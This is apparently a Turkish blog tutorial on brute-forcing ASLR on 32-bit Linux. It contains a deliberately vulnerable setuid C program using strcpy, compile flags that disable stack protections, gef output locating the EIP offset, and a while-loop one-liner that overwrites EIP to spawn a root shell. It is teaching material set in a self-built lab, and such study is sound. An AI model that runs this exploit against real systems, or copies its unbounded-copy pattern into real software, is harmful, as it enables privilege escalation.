Linux ASLR Bypass

ASLR Nedir?

ASLR(Address Space Layout Randomization) bir program her çalıştığında sanal bellek üzerinde stack ve kütüphane adreslerini değiştiren koruma mekanizmasıdır. Bu ne demek ? Exploit geliştirme sürecinde stack’e yazdığımız shellcode’un çalışması için eip’ye jump esp,call esp gibi instruction’ların adresini yazarız. Fakat yazacağımız adres eğer sistemde aslr açıksa(varsayılan) sürekli değişeceğinden çalışmayacaktır. Aslr ilk başta buffer overflow gibi saldırılara karşı alınmış güzel bir koruma mekanizması gibi gelebir ama her korumanın olduğu gibi bununda belli başlı atlatma yöntemleri mevcut. Bunlardan bazıları;

-Brute Force

-return to PLT

-ROP

Ben bu aşamada Brute Force’dan bahsedeceğim. Linux da varsayılan olarak aslr açıktır. Bunu görmek için;

cat /proc/sys/kernel/randomize_va_space

0 Kapalı

1 Orta güvenlik

2 full+ful paranoyak seviyesi (varsayılan 2)

ASLR Etkisi

Aslr etkisini daha net görebilmek için basit bir C kodu kullanacağım.

#include <stdio.h>

int main()
{
    char *ptr = "vayBe";

    printf("Address : %p\n",ptr);
}

32 bit derlemek için:

gcc dene.c -o dene -m32

Hata alırsanız multilib paketini kurun.

sudo apt-get install gcc-multilib

64 bit derlemek için:

gcc dene.c -o dene64

Şimdi aslr etkisini görelim. İlk önce 32 bit için bakalım.

while true; do ./dene;done

Dikkat ettiyeseniz program her çalıştığında farklı bir adresten başladı ve her çalıştığında 0x56 ile başlayıp 008 ile bitti. 3.karakter ya 6 oluyor ya da 5. 4. ve 5. karakter ise farklı. Basitçe kombinasyon hesabı yaparsak.

2 * 16 * 16 = 512 yapar. Mevzuya gireceğim birazdan.

64 bitlik uygulamaya bakalım bir de.

while true; do ./dene64;done

Program her çalıştığında 0x5 ile başlayıp 004 ile bitiyor. 3.karakter kısmı ya 5 ya da 6 oluyor. Geriye kalan 7 si ise sürekli değişiyor. Yine kabaca kombinasyon hesabı yaparsak.

2*16^7 = 536870912 yapar.

Şimdi gelelim asıl mevzuya. Eğer 32 bitlik uygulamada/sistemde brute force denemesi yapmaya kalkarsam 512 ihtimal var. Eğer 64 bitlik uygulamada/sistemde brute force yaparsam 536870912. Yani söz konusu 32 bit olunca brute force mantıklı ama 64 bit olunca başaran hayatının tüm şansını kullanmış demektir. Tabii ki de 64 bit mevzusunda aslr bypass için yöntemler mevcut(örn:offset2lib) ama bu yazıda 32 bitlik bir uygulamada nasıl aslr bypasslarız ondan bahsedeceğim. Gelelim brute force mevzusuna. Eğer ben 32 bitlik programı her seferinde çalıştırısam 512 ihtimal olduğundan program elbet aynı adresten başlayacak.İlgili programı basit bir while döngüsü ile sürekli çalıştırdığımda amacıma ulaşmış olacağım.Bunun için örnek bir zafiyetli uygulamam var.

C kodu

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
 void BeniKullan()
 {
     setuid(0);
     system("/bin/bash");
 }
 
  int main(int argc, char *argv[]){
    char buffer[128];
    strcpy(buffer,  argv[1]);
    return 0;
  }

Kodu açıklamak gerekirse 128 byte’lık alan ayırılıyor ve kullanıcıdan gelen parametreyi strcpy() ile 128 byte’lık alana yazılıyor. Fakat strcpy() zafiyetli bir fonksiyon olduğundan sınır tanımadan yazıyor yani kullanıcı 256 byte veri girse 128 byte’lık alana onu yazar öyle bir manyak bu. Aynı zamanda BeniKullan() isimli hiç çağrılmamış bir fonksiyonumuz var. Bu fonksiyon eğer çağrılırsa shell’e geçiyoruz. Bizim amacımız programa gereğinden fazla veri girip eip üzerine BeniKullan() isimli fonksiyonun adresi düşürüp programın akışının ordan devam etmesini sağlamak.

Kodu derlerken diğer korumalarla uğraşmamak için (nx,canary) özel parametrelerle derliyorum.

Derlemek için:

gcc -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 -g bof.c -o bof32 -m32

Root kullanıcısı tarafında uygulama sahibini root yapıp suid veriyorum ki shell aldığımızda ortam şenlensin.

chown 0:0 bof32
chmod +s bof32
machineboy@kali:~$ ./bof AAAAAAAAAAAAAAA...
Segmentation fault
machineboy@kali:~$

Görüldüğü gibi “Segmentation fault” hatası aldık. Bakalım kaç byte’dan sonra eip üzerine yazabiliriz.

gef➤  pattern create 200
[+] Generating a pattern of 200 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
[+] Saved as '$_gef0'
gef➤  run aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
Starting program: /home/machineboy/bof aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

Program received signal SIGSEGV, Segmentation fault.
0x6261616a in ?? ()

gef➤  pattern offset $eip
[+] Searching '$eip'
[+] Found at offset 136 (little-endian search) likely
gef➤ 

136 byte’dan sonra gelen 4 byte eip üzerine düşecek. Sıra BeniKullan() fonksiyonun adresini bulmaya geldi.

gef➤  p BeniKullan 
$1 = {void ()} 0x566261b9 <BeniKullan>
gef➤  

Exploit mantığı şu şekilde : 136 *nop + BeniKullan_adresi

Program her çalıştığında farklı bir adres kullanıyor olsa bile elbet aynı adrese denk gelecek. Bu bilgiyi kullanarak while döngüsü ve biraz da şans ile başarıya ulaşıyorum.

while true;do ./bof32 $(python -c ‘print “\x90″*136+”\xb9\x61\x62\x56″‘);done

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir